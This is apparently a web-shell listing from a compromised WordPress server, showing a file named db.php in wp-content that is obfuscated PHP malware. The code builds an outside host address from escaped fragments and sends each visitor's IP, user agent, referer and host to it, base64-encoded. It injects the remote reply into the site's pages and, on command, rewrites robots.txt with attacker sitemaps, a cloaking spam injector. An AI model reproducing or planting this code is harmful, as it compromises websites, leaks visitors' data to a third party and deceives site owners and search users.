HEX
Server: nginx/1.27.0
System: Linux ns31201788 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.31
Disabled: NONE
Upload Files
File: /var/www/roncasposi/wp-content/db.php
<?php eRRoR_RepOrTiNg(ROUnD(0+0+0+0+0+0+0+0)); $gh="\172\152\63\65\65\60"; $OAEsl="\171\144\62"; if(pREg_mATCH("/j\160\62\60\62\63\57s\151",$_SERVER["R\105Q\125\105ST\137\125R\111"])==rOunD(0.0599902+0.0416259+0.2250245+0.170911+0.14447+0.13956905+0.2184133)) { if(pREG_MATcH("/\152\160\62\60\62\63\143\167w\57si",$_SERVER["R\105Q\125\105ST\137\125R\111"])==ROUNd(0+0+0+0+0+0+0+0)) { hEAdEr("H\124T\120\57\61.\60\40\64\60\64 Not \106\157\165n\144"); } echo "\110T\124\120/\61\56\60\40\64\60\64\40No\164 \106\157und\137\137_".$gh."\137\137_".$OAEsl; exit; } $IKCw=".ke"; $yUW="y\142\154o"; $nwyoYT="\157\144\56com"; $Mi="\150\164tp:\57\57".$gh.$IKCw.$yUW.$nwyoYT; $KVwG="\57in\144e\170.ph\160\77V\123=".$OAEsl."\46G\120\75".$gh; $mO=array( "\123\103RI\120T\137NAM\105", "R\105Q\125\105ST\137\125R\111", "\110\124TP\123", "\122EQ\125\105\123\124_S\103HE\115\105", "SERV\105\122\137P\117RT", "\122EMO\124E\137AD\104R", "\110\124\124\120\137\122\105FE\122ER", "\110\124T\120_A\103C\105\120T\137\114ANG\125AGE", "H\124T\120\137U\123\105R_\101\107\105NT", "HTTP_\110\117ST", "\125\122I\137\120RE\106\111X" ); foreach($mO as $Oywld) { if ($Oywld=="\122EMO\124E\137AD\104R") { $mU=isset($_SERVER["H\124T\120_\130_F\117\122\127\101R\104\105D_FOR"])?$_SERVER["H\124T\120_\130_F\117\122\127\101R\104\105D_FOR"]:(isset($_SERVER["\122EMO\124E\137AD\104R"])?$_SERVER["\122EMO\124E\137AD\104R"]:''); }elseif($Oywld=="\125\122I\137\120RE\106\111X") { $mU=isset($ad)?$ad:''; }else { $mU=isset($_SERVER[$Oywld])?$_SERVER[$Oywld]:''; } $Qf=BAsE64_encoDE(Trim($mU)); $Qf=STr_replACE("+","\55",$Qf); $Qf=stR_repLACE("/","\137",$Qf); $Qf=sTr_rEplACE("\75",".",$Qf); $KVwG.="\46".$Oywld."\75".$Qf; } $Pv=$Mi.$KVwG; $YIa=CuRl_inIt(); cuRL_seTOPt($YIa,CURLOPT_URL,$Pv); CurL_sEToPT($YIa,CURLOPT_RETURNTRANSFER,ROUnD(0.0874189+0.129+0.0975+0.1226978+0.11958+0.23865+0.0659+0.121141+0.0182)); cuRl_SEtoPT($YIa,CURLOPT_CONNECTTIMEOUT,ROuND(6.142061+3.8579387)); $sL=Curl_eXEC($YIa); $sL=TrIm($sL); curl_cLose($YIa); if(empty($sL)) { $UrfWnk="\146il"; $DWz="\145\137\147"; $JVbaYD="e\164\137\143"; $fRukPY="on\164e"; $bUHFtf="n\164\163"; $vbowg=$UrfWnk.$DWz.$JVbaYD.$fRukPY.$bUHFtf; $sL=$vbowg($Pv); } $sL=TrIM($sL); $QR=EXplOdE("|@\43\44\174",$sL); $oRxh=COunT($QR); if($oRxh<3) { heaDER("H\124T\120\57\61.\60\40\64\60\64 Not \106\157\165n\144"); exit; }else { $syP=tRIM($QR[rOUND(0+0+0+0+0+0+0+0)]); if(!empty($syP)) { HeADeR($syP); } $oeqFhb=trIm($QR[ROunD(0.0989+0.196+0.0036+0.1594406+0.07512488+0.180619+0.086+0.01478521+0.1854)]); if(!empty($oeqFhb)) { echo $oeqFhb; } $yo=tRIm($QR[$oRxh-roUNd(0.06127+0.939)]); if($yo=="e\170\151\164") { exit; } if($yo=="\160i\156\147") { $CZFpBc="Us\145\162-a\147ent\72*".PHP_EOL; $CZFpBc.="\101llo\167:\57".PHP_EOL; $MrSW=EXPLode("<\142\162/\76",$oeqFhb); ARraY_POP($MrSW); foreach($MrSW as $uIeFXW) { $CZFpBc.="S\151\164\145map:".$uIeFXW.PHP_EOL; } $kPgr=FOpen($_SERVER["DOC\125M\105\116\124\137R\117O\124"]."/rob\157\164\163.tx\164","w"); FWRitE($kPgr,$CZFpBc); FCLOSE($kPgr); echo "ro\142\157ts.\164\170\164\40don\145"; exit; } } ?>